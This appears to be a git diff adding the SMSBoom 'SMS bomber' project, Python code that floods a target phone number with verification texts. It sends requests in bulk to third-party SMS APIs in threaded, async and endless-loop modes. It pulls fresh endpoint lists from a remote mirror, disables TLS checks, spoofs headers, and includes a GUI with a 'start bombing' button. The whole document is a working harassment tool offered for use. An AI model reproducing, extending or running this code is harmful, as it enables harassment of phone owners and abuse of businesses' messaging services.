# logger.info("更新") + except httpx.HTTPError as why: + if why is None: + logger.exception("未知的失败") + logger.error(f"请求失败{type(why)}{why} {i}") + except Exception as e: + logger.error("全局失败") + logger.exception(e) + + +async def asMain(): + await asyncio.gather( + + *( + test2() + for _ in range(150) + ) + + ) + + +def save_api(): + """保存api到 GETAPI.json 文件""" + apis = sql.select() + api_lst = [ + api + for api in apis + ] + with open("GETAPI.json", mode="w", encoding="utf8") as j: + json.dump(fp=j, obj=api_lst, ensure_ascii=False) + logger.success("写入到 GETAPI.json 成功!") + + +def main(): + read_url() + # with ThreadPoolExecutor(max_workers=1024) as pool: + # for _ in range(1024): + # pool.submit(test) + loop = asyncio.get_event_loop() + loop.run_until_complete(asMain()) + + +if __name__ == "__main__": + main() + # read_url() + save_api() diff --git a/img/GIF111.gif b/img/GIF111.gif new file mode 100755 index 0000000..46e0368 Binary files /dev/null and b/img/GIF111.gif differ diff --git a/img/cmd1.png b/img/cmd1.png new file mode 100755 index 0000000..a7bc991 Binary files /dev/null and b/img/cmd1.png differ diff --git a/img/cmd2.png b/img/cmd2.png new file mode 100755 index 0000000..6bc4ef9 Binary files /dev/null and b/img/cmd2.png differ diff --git a/img/e.g.1.png b/img/e.g.1.png new file mode 100755 index 0000000..afac4c3 Binary files /dev/null and b/img/e.g.1.png differ diff --git a/img/smsboom-logo.png b/img/smsboom-logo.png new file mode 100755 index 0000000..170f1b2 Binary files /dev/null and b/img/smsboom-logo.png differ diff --git a/img/test.gif b/img/test.gif new file mode 100755 index 0000000..46e0368 Binary files /dev/null and b/img/test.gif differ diff --git a/img/test2.gif b/img/test2.gif new file mode 100755 index 0000000..5a33e1b Binary files /dev/null and b/img/test2.gif differ diff --git a/img/webui-test-2.png b/img/webui-test-2.png new file mode 100755 index 0000000..a978f4d Binary files /dev/null and b/img/webui-test-2.png differ diff --git a/img/webui-test.png b/img/webui-test.png new file mode 100755 index 0000000..79cfab2 Binary files /dev/null and b/img/webui-test.png differ diff --git a/requirements-celery.txt b/requirements-celery.txt new file mode 100644 index 0000000..e69de29 diff --git a/requirements-dev.txt b/requirements-dev.txt new file mode 100755 index 0000000..c7a82f2 Binary files /dev/null and b/requirements-dev.txt differ diff --git a/requirements.txt b/requirements.txt new file mode 100755 index 0000000..bfd9898 Binary files /dev/null and b/requirements.txt differ diff --git a/run_flask_app.py b/run_flask_app.py new file mode 100755 index 0000000..6e3f00c --- /dev/null +++ b/run_flask_app.py @@ -0,0 +1,105 @@ +# encoding=utf8 +# flask app 主文件 +import click +from loguru import logger +from pathlib import Path +import json +from flask_app import db, app +from flask_app.model import Apis +from utils.models import API + +json_path = Path(app.root_path).parent.joinpath( + "api.json") + + +@click.command() +@click.option('--drop', is_flag=True, help='重建数据库') # 设置选项 +def init(drop): + """初始化数据库""" + if drop: + db.drop_all() + logger.info("删除数据库...准备重建..") + db.create_all() + logger.success("数据库创建成功") + + +@click.command() +@logger.catch() +def json2sqlite(): + """将json数据转为sqlite数据库""" + j = json_path.read_text(encoding="utf8") + + jss = json.loads(j) + for js in jss: + api = Apis( + desc=str(js['desc']), + url=str(js['url']), + method=str(js['method']), + data=str(js['data']), + header=str(js['header']) + ) + # print(api.desc) + try: + db.session.add(api) + db.session.commit() + logger.info(f"{api.desc} 写入成功!") + except Exception as e: + db.session.rollback() # 回滚 + logger.error(f"{api.desc}写入数据库错误:{e}") + + logger.success("json To sqlite 成功!") + + +@click.command() +@logger.catch() +def sqlite2json(): + """将sqlite数据转为json""" + apis = Apis.query.all() + apis_ = [] + for api in apis: + # print(api.url) + if api.data is None: + api.data = "" + if api.header is None: + api.header = "" + data = { + "desc": api.desc, + "url": api.url, + "method": api.method, + "data": api.data, + "header": api.header, + } + try: + api = API(**data).handle_API() + apis_.append(api.dict()) + except: + pass + # print(apis_) + with open(json_path, mode="w", encoding="utf8") as j: + try: + json.dump(apis_, j, ensure_ascii=False, sort_keys=False, indent=4) + logger.success("sqlite->json 成功!") + except Exception: + logger.exception("写入到 json 文件错误!") + + +@click.command() +@click.option('--host', '-h', help='监听地址', default="0.0.0.0") +@click.option('--port', '-p', help='监听端口', default=9090) +def start(host, port): + """启动 flask app""" + app.run(host=host, port=port, debug=True) + + +@click.group() +def cli(): + pass + + +cli.add_command(init) +cli.add_command(start) +cli.add_command(json2sqlite) +cli.add_command(sqlite2json) + +if __name__ == "__main__": + cli() diff --git a/smsboom.py b/smsboom.py new file mode 100755 index 0000000..cf2ca62 --- /dev/null +++ b/smsboom.py @@ -0,0 +1,167 @@ +# encoding=utf8 +# 短信测压主程序 +import json +import pathlib +import sys +import time +from concurrent.futures import ThreadPoolExecutor +from typing import List, Union +import asyncio + +import click +import httpx + +from utils import default_header +from utils.log import logger +from utils.models import API +from utils.req import reqFunc, runAsync + +# current directory +path = pathlib.Path(__file__).parent + + +def load_json() -> List[API]: + """load json for api.json + :return: api list + """ + json_path = pathlib.Path(path, 'api.json') + if not json_path.exists(): + logger.error("Json file not exists!") + # return None + raise ValueError + + with open(json_path.resolve(), mode="r", encoding="utf8") as j: + try: + datas = json.loads(j.read()) + APIs = [ + API(**data) + for data in datas + ] + logger.success(f"api.json 加载完成 接口数:{len(APIs)}") + return APIs + except Exception as why: + logger.error(f"Json file syntax error:{why}") + # return None + raise ValueError + + +def load_getapi() -> list: + """load GETAPI + :return: + """ + json_path = pathlib.Path(path, 'GETAPI.json') + if not json_path.exists(): + logger.error("GETAPI.json file not exists!") + # return None + raise ValueError + + with open(json_path.resolve(), mode="r", encoding="utf8") as j: + try: + datas = json.loads(j.read()) + logger.success(f"GETAPI加载完成,数目:{len(datas)}") + return datas + except Exception as why: + logger.error(f"Json file syntax error:{why}") + # return None + raise ValueError + + +@click.command() +@click.option("--thread", "-t", help="线程数(默认64)", default=64) +@click.option("--phone", "-p", help="手机号,可传入多个再使用-p传递", prompt=True, required=True, multiple=True) +@click.option('--super', "-s", is_flag=True, help="循环模式") +@click.option('--interval', "-i", default=60, help="循环间隔时间(默认60s)", type=int) +def run(thread: int, phone: Union[str, tuple], interval: int, super: bool = False): + """传入线程数和手机号启动轰炸,支持多手机号""" + logger.info(f"循环模式:{super},手机号:{phone},线程数:{thread},循环间隔:{interval}") + + with ThreadPoolExecutor(max_workers=thread) as pool: + try: + _api = load_json() + _api_get = load_getapi() + except ValueError: + logger.error("读取接口出错!正在重新下载接口数据!....") + update() + sys.exit(1) + i = 0 + if super: + while True: + i += 1 + logger.success(f"第{i}波轰炸开始!") + for api in _api: + pool.submit(reqFunc, api, phone) + for api_get in _api_get: + pool.submit(reqFunc, api_get, phone) + logger.success(f"第{i}波轰炸提交结束!休息{interval}s.....") + time.sleep(interval) + else: + for api in _api: + pool.submit(reqFunc, api, phone) + for api_get in _api_get: + pool.submit(reqFunc, api_get, phone) + + +@click.option("--phone", "-p", help="手机号,可传入多个再使用-p传递", prompt=True, required=True, multiple=True) +@click.command() +def asyncRun(phone): + """以最快的方式请求接口(真异步百万并发)""" + _api = load_json() + _api_get = load_getapi() + apis = _api+_api_get + + loop = asyncio.get_event_loop() + loop.run_until_complete(runAsync(apis, phone)) + + +@click.option("--phone", "-p", help="手机号,可传入多个再使用-p传递", prompt=True, required=True, multiple=True) +@click.command() +def oneRun(phone): + """单线程(测试使用)""" + _api = load_json() + _api_get = load_getapi() + apis = _api+_api_get + + for api in apis: + try: + reqFunc(api, phone) + except: + pass + + +@click.command() +def update(): + """从 github 获取最新接口""" + GETAPI_json_url = f"https://hk1.monika.love/AdminWhaleFall/SMSBoom/master/GETAPI.json" + API_json_url = f"https://hk1.monika.love/AdminWhaleFall/SMSBoom/master/api.json" + logger.info(f"正在从GitHub拉取最新接口!") + try: + with httpx.Client(verify=False, timeout=10) as client: + # print(API_json_url) + GETAPI_json = client.get( + GETAPI_json_url, headers=default_header).content.decode(encoding="utf8") + api_json = client.get( + API_json_url, headers=default_header).content.decode(encoding="utf8") + + except Exception as why: + logger.error(f"拉取更新失败:{why}请关闭所有代理软件多尝试几次!") + else: + with open(pathlib.Path(path, "GETAPI.json").absolute(), mode="w", encoding="utf8") as a: + a.write(GETAPI_json) + with open(pathlib.Path(path, "api.json").absolute(), mode="w", encoding="utf8") as a: + a.write(api_json) + logger.success(f"接口更新成功!") + + +@click.group() +def cli(): + pass + + +cli.add_command(run) +cli.add_command(update) +cli.add_command(asyncRun) +cli.add_command(oneRun) + + +if __name__ == "__main__": + cli() diff --git a/smsboom_GUI.py b/smsboom_GUI.py new file mode 100644 index 0000000..039c610 --- /dev/null +++ b/smsboom_GUI.py @@ -0,0 +1,57 @@ +from tkinter import Tk, StringVar +from tkinter import ttk + + +class InputWidget(ttk.Frame): + """输入框,确认框""" + + def __init__(self, parent=None): + ttk.Frame.__init__(self, parent) + self.parent = parent + self.columnconfigure(0, weight=1) + self.rowconfigure(0, weight=1) + self.phone = StringVar() + self.createWidget() + + for child in self.winfo_children(): + child.grid_configure(padx=5, pady=5) + + self.pack() + + def createWidget(self): + """InputWidget""" + ttk.Label(self, text="手机号:").grid(column=0, row=0, sticky='nsew') + ttk.Entry(self, textvariable=self.phone).grid( + column=1, row=0, columnspan=3, sticky='nsew') + ttk.Button(self, text="启动轰炸").grid( + column=4, row=0, sticky='nsew') + + +class Application(ttk.Frame): + """APP main frame""" + + def __init__(self, parent=None): + ttk.Frame.__init__(self, parent) + self.parent = parent + # 伸缩 + self.columnconfigure(0, weight=1) + self.rowconfigure(0, weight=1) + self.createWidget() + # 间隔 + for child in self.winfo_children(): + child.grid_configure(padx=5, pady=5) + + self.pack() + + def createWidget(self): + """Widget""" + input_wiget = InputWidget(self) + + +if __name__ == "__main__": + root = Tk() + root.title("SMSBoom - 短信轰炸机 ©落落") + root.columnconfigure(0, weight=1) + root.rowconfigure(0, weight=1) + Application(parent=root) + root.mainloop() diff --git a/smsboom_pyinstall.py b/smsboom_pyinstall.py new file mode 100755 index 0000000..d1dbcb1 --- /dev/null +++ b/smsboom_pyinstall.py @@ -0,0 +1,176 @@ +# encoding=utf8 +# 短信测压主程序 +import pathlib +import sys +from typing import List, Union +import click +import json +import httpx +from loguru import logger +from concurrent.futures import ThreadPoolExecutor +import time +import sys +import os +from utils import API, default_header + +# logger config +logger.remove() +logger.add( + sink=sys.stdout, + format="{time:YYYY-MM-DD at HH:mm:ss} - {level} - {message}", + colorize=True, + backtrace=True +) + +# current directory by pyinstall +path = os.path.dirname(os.path.realpath(sys.argv[0])) + + +def load_json() -> List[API]: + """load json for api.json + :return: api list + """ + json_path = pathlib.Path(path, 'api.json') + if not json_path.exists(): + logger.error("Json file not exists!") + # return None + raise ValueError + + with open(json_path.resolve(), mode="r", encoding="utf8") as j: + try: + datas = json.loads(j.read()) + APIs = [ + API(**data) + for data in datas + ] + logger.success(f"api.json 加载完成 接口数:{len(APIs)}") + return APIs + except Exception as why: + logger.error(f"Json file syntax error:{why}") + # return None + raise ValueError + + +def load_getapi() -> list: + """load GETAPI + :return: + """ + json_path = pathlib.Path(path, 'GETAPI.json') + if not json_path.exists(): + logger.error("GETAPI.json file not exists!") + # return None + raise ValueError + + with open(json_path.resolve(), mode="r", encoding="utf8") as j: + try: + datas = json.loads(j.read()) + logger.success(f"GETAPI加载完成,数目:{len(datas)}") + return datas + except Exception as why: + logger.error(f"Json file syntax error:{why}") + # return None + raise ValueError + + +def reqAPI(api: API, client: httpx.Client) -> httpx.Response: + if isinstance(api.data, dict): + resp = client.request(method=api.method, json=api.data, + headers=api.header, url=api.url) + else: + resp = client.request(method=api.method, data=api.data, + headers=api.header, url=api.url) + return resp + + +def req(api: Union[API, str], phone: tuple): + """请求接口方法""" + # 多手机号支持 + if isinstance(phone, tuple): + phone_lst = [_ for _ in phone] + else: + phone_lst = [phone] + with httpx.Client(headers=default_header, verify=False) as client: + for ph in phone_lst: + try: + if isinstance(api, API): + api = api.handle_API(ph) + resp = reqAPI(api, client) + logger.info(f"{api.desc}-{resp.text[:30]}") + else: + api = api.replace("[phone]", ph) + resp = client.get(url=api, headers=default_header) + logger.info(f"GETAPI接口-{resp.text[:30]}") + except httpx.HTTPError as why: + logger.error(f"{why.request.url}请求失败{why}") + + +@click.command() +@click.option("--thread", "-t", help="线程数(默认64)", default=64) +@click.option("--phone", "-p", help="手机号,可传入多个再使用-p传递", prompt=True, required=True, multiple=True) +@click.option('--super', "-s", is_flag=True, help="循环模式") +@click.option('--interval', "-i", default=60, help="循环间隔时间(默认60s)", type=int) +def run(thread: int, phone: Union[str, tuple], interval: int, super: bool = False): + """传入线程数和手机号启动轰炸,支持多手机号""" + logger.info(f"循环模式:{super},手机号:{phone},线程数:{thread},循环间隔:{interval}") + + with ThreadPoolExecutor(max_workers=thread) as pool: + try: + _api = load_json() + _api_get = load_getapi() + except ValueError: + logger.error("读取接口出错!正在重新下载接口数据!....") + update() + sys.exit(1) + i = 0 + if super: + while True: + i += 1 + logger.success(f"第{i}波轰炸开始!") + for api in _api: + pool.submit(req, api, phone) + for api_get in _api_get: + pool.submit(req, api_get, phone) + logger.success(f"第{i}波轰炸提交结束!休息{interval}s.....") + time.sleep(interval) + else: + for api in _api: + pool.submit(req, api, phone) + for api_get in _api_get: + pool.submit(req, api_get, phone) + + +@click.command() +@click.option("-p", "--proxy", help="[!!暂时弃用该选项!!]GitHub 代理镜像(默认github.do)", default="https://github.do/") +def update(proxy: str): + """从 github 获取最新接口""" + GETAPI_json_url = f"https://hk1.monika.love/AdminWhaleFall/SMSBoom/master/GETAPI.json" + API_json_url = f"https://hk1.monika.love/AdminWhaleFall/SMSBoom/master/api.json" + logger.info(f"正在从GitHub拉取最新接口!") + try: + with httpx.Client(verify=False, timeout=10) as client: + # print(API_json_url) + GETAPI_json = client.get(GETAPI_json_url, headers=default_header).content.decode(encoding="utf8") + api_json = client.get(API_json_url, headers=default_header).content.decode(encoding="utf8") + + except Exception as why: + logger.error(f"拉取更新失败:{why}请多尝试几次!") + else: + with open(pathlib.Path(path, "GETAPI.json").absolute(), mode="w", encoding="utf8") as a: + a.write(GETAPI_json) + with open(pathlib.Path(path, "api.json").absolute(), mode="w", encoding="utf8") as a: + a.write(api_json) + logger.success(f"接口更新成功!") + + +@click.group() +def cli(): + pass + + +cli.add_command(run) +cli.add_command(update) + + +if __name__ == "__main__": + logger.info(f"当前脚本目录:{path}") + cli() diff --git a/utils/__init__.py b/utils/__init__.py new file mode 100644 index 0000000..de412fe --- /dev/null +++ b/utils/__init__.py @@ -0,0 +1,3 @@ +default_header = { + "User-Agent": "Mozilla/5.0 (Linux; U; Android 10; zh-cn; Mi 10 Build/QKQ1.191117.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40" +} \ No newline at end of file diff --git a/utils/log.py b/utils/log.py new file mode 100644 index 0000000..90490e5 --- /dev/null +++ b/utils/log.py @@ -0,0 +1,44 @@ +# encoding=utf8 +# 日志模块 +from loguru import logger +import pathlib +import sys +import os + +# 终端日志输出格式 +stdout_fmt = '{level.icon} {time:HH:mm:ss,SSS} ' \ + '[{level}] ' \ + '{thread.name} ' \ + '{module}:{line} - ' \ + '{message}' + +# 日志文件记录格式 +# logfile_fmt = '{time:YYYY-MM-DD HH:mm:ss,SSS} ' \ +# '[{level: <5}] ' \ +# '{process.name}({process.id}):' \ +# '{thread.name: <10}({thread.id: <5}) | ' \ +# '{module}.{function}:' \ +# '{line} - {message}' + +logfile_fmt = '{time:YYYY-MM-DD HH:mm:ss,SSS} ' \ + '[{level}] ' \ + '{module}.{function}:' \ + '{line} - {message}' + +log_pathDir = pathlib.Path(os.getcwd()).resolve().joinpath('logs') +if not log_pathDir.is_dir(): + log_pathDir.mkdir() +log_path = log_pathDir.joinpath('run.log').resolve() + +logger.remove() + +if not os.environ.get('PYTHONIOENCODING'): # 设置编码 + os.environ['PYTHONIOENCODING'] = 'utf-8' + +logger.add(sys.stderr, level='INFO', format=stdout_fmt, enqueue=True) +# 输出到文件 +# logger.add(log_path, level='DEBUG', format=logfile_fmt, +# enqueue=True, encoding='utf-8') + +if __name__ == "__main__": + logger.info("test") diff --git a/utils/models.py b/utils/models.py new file mode 100644 index 0000000..8889485 --- /dev/null +++ b/utils/models.py @@ -0,0 +1,53 @@ +# encoding=utf8 +# 一些模型 +from pydantic import BaseModel +from typing import Union, Optional +from datetime import datetime +import json +from utils import default_header + +class API(BaseModel): + """处理自定义 API 数据""" + desc: str = "Default" + url: str + method: str = "GET" + header: Optional[Union[str, dict]] = default_header + data: Optional[Union[str, dict]] + + def replace_data(self, content: Union[str, dict], phone: str) -> str: + # 统一转换成 str 再替换. ' -> " + if phone: + content = str(content).replace("[phone]", phone).replace( + "[timestamp]", self.timestamp_new()).replace("'", '"') + + # 尝试 json 化 + try: + return json.loads(content.replace("'", '"')) + except: + return content + + def timestamp_new(self) -> str: + """返回整数字符串时间戳""" + return str(int(datetime.now().timestamp())) + + def handle_API(self, phone: str=None): + """ 传入手机号处理 API + :param API: one API basemodel + :return: API basemodel + """ + # 仅仅当传入 phone 参数时添加 Referer + # fix: 这段代码很有问题....... + if phone: + # 进入的 header 是个字符串 + if self.header == "": + self.header = {} + self.header['Referer'] = self.url # 增加 Referer + + self.header = self.replace_data(self.header, phone) + if not self.header.get('Referer'): + self.header['Referer'] = self.url # 增加 Referer + + self.data = self.replace_data(self.data, phone) + self.url = self.replace_data(self.url, phone) + # print(self) + return self diff --git a/utils/req.py b/utils/req.py new file mode 100644 index 0000000..f304355 --- /dev/null +++ b/utils/req.py @@ -0,0 +1,109 @@ +# encoding=utf8 +# 请求的方法 +import httpx +from httpx import Limits +from typing import Union, List +import asyncio + +from utils import default_header +from utils.models import API +from utils.log import logger + + +def reqAPI(api: API, client: Union[httpx.Client, httpx.AsyncClient]) -> httpx.Response: + if isinstance(api.data, dict): + resp = client.request(method=api.method, json=api.data, + headers=api.header, url=api.url, timeout=10) + else: + resp = client.request(method=api.method, data=api.data, + headers=api.header, url=api.url, timeout=10) + return resp + + +def reqFunc(api: Union[API, str], phone: Union[tuple, str]) -> bool: + """请求接口方法""" + # 多手机号支持 + if isinstance(phone, tuple): + phone_lst = [_ for _ in phone] + else: + phone_lst = [phone] + + with httpx.Client(headers=default_header, verify=False) as client: + for ph in phone_lst: + try: + if isinstance(api, API): + api = api.handle_API(ph) + resp = reqAPI(api, client) + logger.info(f"{api.desc}-{resp.text[:30]}") + else: + api = api.replace("[phone]", ph).replace(" ", "").replace('\n', '').replace('\r', '') + resp = client.get(url=api, headers=default_header) + logger.info(f"GETAPI接口-{resp.text[:30]}") + return True + except httpx.HTTPError as why: + logger.error(f"请求失败{why}") + return False + + +async def asyncReqs(src: Union[API, str], phone: Union[tuple, str], semaphore): + """异步请求方法 + :param: + :return: + """ + # 多手机号支持 + if isinstance(phone, tuple): + phone_lst = [_ for _ in phone] + else: + phone_lst = [phone] + async with semaphore: + async with httpx.AsyncClient( + limits=Limits(max_connections=1000, + max_keepalive_connections=2000), + headers=default_header, + verify=False, + timeout=99999 + ) as c: + + for ph in phone_lst: + try: + if isinstance(src, API): + src = src.handle_API(ph) + r = await reqAPI(src, c) + else: + # 利用元组传参安全因为元组不可修改 + s = (src.replace(" ", "").replace("\n", "").replace("\t", "").replace( + "&", "").replace('\n', '').replace('\r', ''),) + r = await c.get(*s) + return r + except httpx.HTTPError as why: + logger.error(f"异步请求失败{type(why)}") + # logger.error(f"异步请求失败{why}") + # import aiofiles + # async with aiofiles.open("error.txt","a",encoding="utf-8") as f: + # await f.write(f"{str(s[0]) if str(s[0]) else str(src)}\n") + except TypeError: + logger.error("类型错误") + except Exception as wy: + logger.exception(f"异步失败{wy}") + + +def callback(result): + """异步回调函数""" + log = result.result() + if log is not None: + logger.info(f"请求结果:{log.text[:30]}") + + +async def runAsync(apis: List[Union[API,str]], phone: Union[tuple, str]): + + tasks = [] + + for api in apis: + semaphore = asyncio.Semaphore(999999) + task = asyncio.ensure_future(asyncReqs(api, phone, semaphore)) + task.add_done_callback(callback) + tasks.append(task) + + await asyncio.gather( + *tasks + ) diff --git a/utils/sql.py b/utils/sql.py new file mode 100644 index 0000000..4ff240e --- /dev/null +++ b/utils/sql.py @@ -0,0 +1,65 @@ +# encoding=utf8 +# 读写sqlite数据库 +from pathlib import Path +from utils.log import logger +import sqlite3 + + +class Sql(object): + """处理SQL数据""" + + def __init__(self, db_path: Path) -> None: + '''初始化数据库''' + # 数据库路径 + # db_path = Path.cwd().joinpath("api.db") + # 连接数据库,不检查是否在同一个线程. + self.client = sqlite3.connect( + db_path, timeout=6, check_same_thread=False) + self.cursor = self.client.cursor() + self.newTable() + + def newTable(self): + '''初始化表结构''' + sql = ''' +CREATE TABLE IF NOT EXISTS API200 ( + id INT NULL, + url TEXT NOT NULL, + primary key (url) +); + ''' + self.cursor.execute(sql) + self.client.commit() + + def update(self, url): + '''插入数据''' + sql = ''' + INSERT INTO API200 (ID,url) VALUES (null,?) + ''' + try: + self.cursor.execute(sql, (url,)) + self.client.commit() + logger.success("插入成功!") + return True + except sqlite3.IntegrityError: + logger.error(f"数据重复!") + return False + + def select(self) -> list: + '''获取所有接口''' + sql = ''' + SELECT url FROM API200; + ''' + try: + self.cursor.execute(sql) + result = self.cursor.fetchall() + urls = [] + for url in result: + urls.append(url[0]) + return urls + except Exception as e: + logger.error('读取出现错误!', e) + + def __del__(self) -> None: + '''对象被删除时执行的函数''' + logger.info(f"共改变{self.client.total_changes}条数据!,正在关闭数据库连接......") + self.client.close()